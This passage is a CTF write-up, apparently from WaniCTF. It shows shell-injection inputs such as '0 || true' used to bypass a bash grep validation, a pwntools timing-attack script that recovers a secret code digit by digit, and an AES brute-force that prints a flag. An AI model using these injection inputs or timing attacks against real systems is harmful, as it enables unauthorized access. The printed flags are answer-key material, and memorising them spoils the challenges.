So I thought about how to bypass the following check.

In the if statement, it appears to be evaluated based on whether the exit status of the final command, grep -e [^0-9], is 0.

if printf $i | grep -e [^0-9]; then
    printf "bye hacker!"
    exit 1
fi

image-20240624233003962

Therefore, if we can send an input that causes an error in this condition, we can bypass the validation.

In this case, entering a string containing % or %x caused an error and let us bypass the validation.

In other words, by sending text like [%|0-9]*, we can bypass the check and make the condition take the form [[ $r == [%|0-9]* ]];, which gives us the flag.

image-20240624233135227

As another solution, it seems possible to bypass the validation by exploiting set -euo pipefail.

This option is used as follows.

# スクリプト内で呼び出されるプロセスの戻り値が 0 以外の場合はすべて失敗とみなし、スクリプトをその時点で終了する
set -e

# ただし、| で繋がれた場合、$? で参照できるエラーコードは最後のコマンドの実行結果による
# つまり、<エラーを返すコマンド> | <成功するコマンド> のような処理を行う場合、set -e ではスクリプトは停止しない

# ここで、-o pipefail を付与すると、パイプ内のエラーも -e の判定条件に含めることができる
# 以下を使用すると、パイプ区切りのコマンドはすべて実行できるが、その中にエラーを返すものがある場合スクリプトは停止する
set -eo pipefail

# -u は、未定義の変数を参照した際にエラーを返すように設定できる
# ただし、if 文や :~ などで未定義変数を適切に操作できる場合にはエラーは返されない
set -euo pipefail

Reference: How To Use set and pipefail in Bash Scripts on Linux

To bypass this, we can use a technique based on ||.

If commands are chained with ||, the command on the right is invoked only when the command on the left fails.

Reference: What’s the meaning of the operator || in linux shell? - Stack Overflow

In other words, if you give input like 0 || true, only 0 is sent to standard output.

$ printf 0 || true | echo
0

This lets us bypass the if validation when 0 || true is used as the input value.

Furthermore, with $r == 1 || true, (presumably) $r == 1 does not become true, so true is executed and the final evaluation result becomes true, allowing us to get the flag.

image-20240625001113757

Cheat Code(Misc)

With cheats, anything is possible.

The challenge binary was as follows.

from hashlib import sha256
import os
from secrets import randbelow
from secret import flag, cheat_code
import re

challenge_times = 100
hash_strength = int(os.environ.get("HASH_STRENGTH", 10000))

def super_strong_hash(s: str) -> bytes:
    sb = s.encode()
    for _ in range(hash_strength):
        sb = sha256(sb).digest()
    return sb

cheat_code_hash = super_strong_hash(cheat_code)
print(f"hash of cheat code: {cheat_code_hash.hex()}")
print("If you know the cheat code, you will always be accepted!")

secret_number = randbelow(10**10)
secret_code = f"{secret_number:010d}"
print(f"Find the secret code of 10 digits in {challenge_times} challenges!")

def check_code(given_secret_code, given_cheat_code):
    def check_cheat_code(given_cheat_code):
        return super_strong_hash(given_cheat_code) == cheat_code_hash

    digit_is_correct = []
    for i in range(10):
        digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
    return all(digit_is_correct)

given_cheat_code = input("Enter the cheat code: ")
if len(given_cheat_code) > 50:
    print("Too long!")
    exit(1)
for i in range(challenge_times):
    print(f"=====Challenge {i+1:03d}=====")
    given_secret_code = input("Enter the secret code: ")
    if not re.match(r"^\d{10}$", given_secret_code):
        print("Wrong format!")
        exit(1)
    if check_code(given_secret_code, given_cheat_code):
        print("Correct!")
        print(flag)
        exit(0)
    else:
        print("Wrong!")
print("Game over!")

Looking at the code, we can see that to get the flag we either have to guess a random 10-digit number within 100 tries, or enter a cheat code that was probably randomly generated.

As for the cheat code, the program prints its hash when it runs, but because it seems to use stretching an unspecified number of times and the cheat code itself also appears to be randomly generated, it was difficult to determine.

However, the key point here is that in digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code)), the digit comparison and the cheat-code check are joined with or during input validation.

In Python, for expressions joined with or, if the first expression evaluates to true, the later expression is not evaluated.

Therefore, when given_secret_code[i] == secret_code[i] is true, check_cheat_code(given_cheat_code) itself is not executed.

check_cheat_code(given_cheat_code) performs hashing an enormous number of times.

As a result, when given_secret_code[i] == secret_code[i] is true, execution becomes much faster, making a timing attack easy.

In the end, I got the flag with the following code.

from pwn import *
import time

target = remote("chal-lz56g6.wanictf.org", 5000)

target.recvuntil(b"Enter the cheat code: ")
target.sendline("A"*1)

base = ["0" for i in range(10)]

for i in range(10):
    words = {}
    print(f"========== Stage {i} ==========")
    for j in range(10):
        base[i] = str(j)
        target.recvuntil(b"Enter the secret code: ")
        payload = "".join(base)
        target.sendline(payload.encode())
        start = time.time()
        r = target.recvline()
        end = time.time()
        print(f"{end-start} seconds")
        words[payload] = end-start
        if "Wrong!" not in r.decode():
            print(r)
            print(target.recvline())
            exit()

    m = min(words, key=words.get)
    base[i] = m[i]

beginners aes(Crypto)

AES is one of the most important encryption methods in our daily lives.

This one was just a straightforward brute-force solve.

from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
from os import urandom
import hashlib

key = b'the_enc_key_is_'
iv = b'my_great_iv_is_'

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"

for i in range(256):
    for j in range(256):
        tk = key + i.to_bytes(1,"little")
        tiv = iv + j.to_bytes(1,"little")
        cipher = AES.new(tk, AES.MODE_CBC, tiv)

        try:
            decrypted_msg = unpad(cipher.decrypt(enc), 16)
            print(f'Decrypted message = {decrypted_msg.decode("utf-8")}')
        except:
            pass

# FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}

Summary

Overall, I thought the difficulty was fairly high, but there were a lot of interesting and educational challenges, especially in misc, so I had fun.